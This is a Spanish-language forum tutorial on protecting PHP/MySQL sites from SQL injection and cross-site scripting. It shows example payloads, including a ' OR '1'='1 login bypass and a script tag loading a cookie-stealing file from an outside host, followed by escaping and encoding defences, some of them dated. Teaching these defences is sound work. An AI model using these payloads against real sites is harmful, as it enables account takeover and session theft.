Check the new version here

Popular channels

Evitá que te hackeen [PHP, Mysql]

Hola buenas tardes. Sé que hay infinidad de manuales/tutoriales con este tipo de información, pero cuando yo empecé en el desarrollo web me costo mucho entender y poner en práctica este tipo de cosas tan básicas, por eso es que intentaré agregar lo más necesario para que un sitio quede inmune(o casi) a ataques indeseados.

Este tema se centra en los ataques más comunes: SQLi(Inyección SQL) y XSS(Secuencias de comandos en sitios cruzados, resumiendo: Inyección HTML)

SQLi

SQLi es un método que nos permite hacer consultas SQL no autorizadas a servidores remotos

Ejemplos:


Esta sentencia es la más común de todas, es como un usuario se identifica en un sitio(hay muchas maneras, pero esta es la más simple)
//estas vars pueden venir tanto por método POST o GET, eso es irrelevante

$USER = juan manuel; /*** quité las comillas del string para que se entienda bien ***/
$PASS = hola;


Una vez recibidas, se agregan a una sentencia, para asi validar al usuario:

SELECT * FROM usuarios WHERE usuario = 'juan manuel' AND contrasena = 'hola' 

Hasta ahi todo bien, si la persona ingresó sus datos correctamente, el sitio lo tomará como un usuario legítimo.
Pero como verán, el ejemplo no cuenta con ningún tipo de filtro, asique prácticamente se puede igresar cualquier tipo de caracter.
Entonces, ¿Qué pasa si conozco el nombre de usuario de el administrador del sitio, pero no su contraseña?
Dadas las circuntansias, bastará con ingresar una contraseña a 'medida' como esta:

$USER = juan manuel; //nombre de usuario de el administrador
$PASS = ' OR '1' = '1; //contraseña a 'medida'


La consulta quedaría de esta manera:
[color=#000000]
SELECT * FROM usuarios WHERE usuario = 'juan manuel' AND contrasena = '' OR '1' = '1' //dado que 1 es igual a 1, la sentencia es totalmente válida[/color]


De esta manera SQL toma la sentencia y me permite ingresar a la cuenta de juan manuel, sin siquiera saber su contraseña.

Como evitarlo:

En PHP es muy fácil, si estás utilizando Mysqli la función se llama de esta manera: mysqli::escape_string() y si todavia estas usando la libreria nátiva de mysql, pues usá mysql_real_escape_string();
Lo que hay que hacer es lo siguiente:

$USER = mysqli::escape_string(juan manuel); //como dije anteriormente esto es un dato proveniente de afuera($_POST['user'])
$PASS = mysqli::escape_string(' OR '1' = '1);


Entonces, PHP escapará los apostrofes con una barra invertida y asi Mysql entenderá que no debe tomar como válido apostrofes provenientes de afuera

Otra cosa: los datos ingresados por usuarios(POST, GET, etc) deben estar encerradas siempre por apostrofes

SELECT * FROM usuarios WHERE usuario = '$USER' AND contrasena = '$PASS' // <- asi

SELECT * FROM usuarios WHERE usuario = $USER AND contrasena = $PASS // <- asi NO


De lo contrario, los métodos nombrados anteriormente no serviran de nada.

Esto es un error que muchos cometen:

$USER = mysqli::escape_string(juan manuel); 
$PASS = mysqli::escape_string(1 OR 1 = 1); // aca estariamos probando la inyección de otra manera, por el hecho de que no haca falta ingresar apostrofes


La consulta quedaría de esta manera:

SELECT * FROM usuarios WHERE usuario = juan manuel AND contrasena = 1 OR 1 = 1


En este caso no hay apostrofes, entonces no hay NADA que escapar. Por tanto la consulta es válida.
... y si hubiera:

SELECT * FROM usuarios WHERE usuario = 'juan manuel' AND contrasena = '1 OR 1 = 1' // la contraseña a 'medida' quedó encerrada, y no hubo ningun conflicto.


Algo muy importante es, siempre pero SIEMPRE, filtrar cualquier dato proveniente del usuario, ya sea dirección IP, COOKIES, etc.

Muchos dirán que una inyección por IP es imposible, pero no. Existen complementos para Firefox que nos permiten 'modificar' la IP y enviarla por cabeceras. Claro que para que esto la IP debe ser leida desde la variable: $_SERVER['HTTP_X_FORWARDED_FOR'], por eso recomiendo que lean la IP únicamente desde $_SERVER['REMOTE_ADDR']

XSS

XSS es un método que nos permite ingresar etiquetas HTML en lugares donde no deberian estar. Esto comunmente se utiliza para el robo de Cookies

Ejemplos:

Hagamos de cuenta que esto es el 'agregar post' de T!

$TITULO = 'Hola que tal';
$CONTENIDO = 'CrapCrapCrap'


Como verán, no hay nada raro, simplemente un titulo y un contenido. Esto una vez procesado, se mostraria dentro de un post, o sea dentro de un documento HTML.
Y como pasó en el ejemplo anterior, no hay ningun tipo de filtro, por ende puedo insertar mi propio código HTML.
Asique ingresaré mi contenido a 'medida':

$TITULO = 'Hola que tal';
$CONTENIDO = 'CrapCrapCrap <script src=http://sitio.net/cookie.js></script>'; 


Ingresando esto, estoy inyectando mi propio documento javascript, el cual puede contener cualquier tipo de codigo, por ejemplo, un iframe que robe cookies.
De esta manera, sólo bastará que el administrador del sitio entre al post, para luego robarle la cookie y asi tener control del sitio.

Como evitarlo:


PHP provee de muchas funciones muy útiles para este tipo de casos, pero yo sólo explicaré dos:

htmlspecialchars: Lo que hace es convertir entidades como < >, ", ', etc. Dejando nuestra inyeccion inútil, dado que (< queda igual a esto: < y (> a esto: >
Por lógica nuestra inyección quedaría asi:

$CONTENIDO = htmlspecialchars($_POST['contenido']);

$CONTENIDO = 'CrapCrapCrap <script src=http://sitio.net/cookie.js></script>'; // totalmente inútil

La otra función se trata de htmlentities, el funcionamiento es igual a la nombrada anteriormente, con la diferencia de que ésta convierte cualquier entiedad(abcdef, !"·$%&, etc)
Obviamente hay muchas maneras más, pero no hace falta complicarla. Ya hubo gente que se las ingenio por nosotros.
Igualmente recomiendo que lean los documentos de ambas funciones en php.net, porque tienen parámetros adiocionales, que les pueden llegar a ser útiles

Otra cosa muy importante es que hay sitios que nos dejan ingresar archivos SWF, pero a veces los administradores se olvidan que dentro de Flash se puede ejecutar Javascript.
Para evitar esto, basta con insertar unos parámetros al embed.
Los cuales son:
allowscriptaccess="never" con este no dejamos que el archivo SWF pueda ejecutar código JS.
allownetworking="internal" y con este evitamos que el SWF tenga acceso a la API del navegador.
Claro que ambos tienen distintos valores como: internal, all, none, etc, pero queda a criterio de cada uno elegir eso.

Para resumir, nuestro embed debería quedar de la siguiente manera:

<embed type="application/x-shockwave-flash" allowscriptaccess="never" allownetworking="internal" src="Archivo potencialmente peligroso.swf">


Ya con todo esto queda terminado el tema, si alguien quiere agregar/modificar algo que me lo diga, siempre se aprende algo nuevo.
Espero que les haya servido. Saludos
+1
0
0
4
0No comments yet